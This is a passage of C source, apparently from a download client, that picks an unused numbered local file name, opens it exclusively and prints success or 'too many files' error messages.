return; } else sprintf(t->disk_filename, "%s~%d~", t->filename, i); } t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666); if (t->disk_fd == -1 && errno != EEXIST) { error("* Cannot open local file"); goto try_again; } else if (t->disk_fd != -1) { message("* Saving result to '%s'\n", t->disk_filename); break; } } if (t->disk_fd == -1) { error("* Too many local files like '%s' exist already.\n\ * Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename); task_free(t); return; }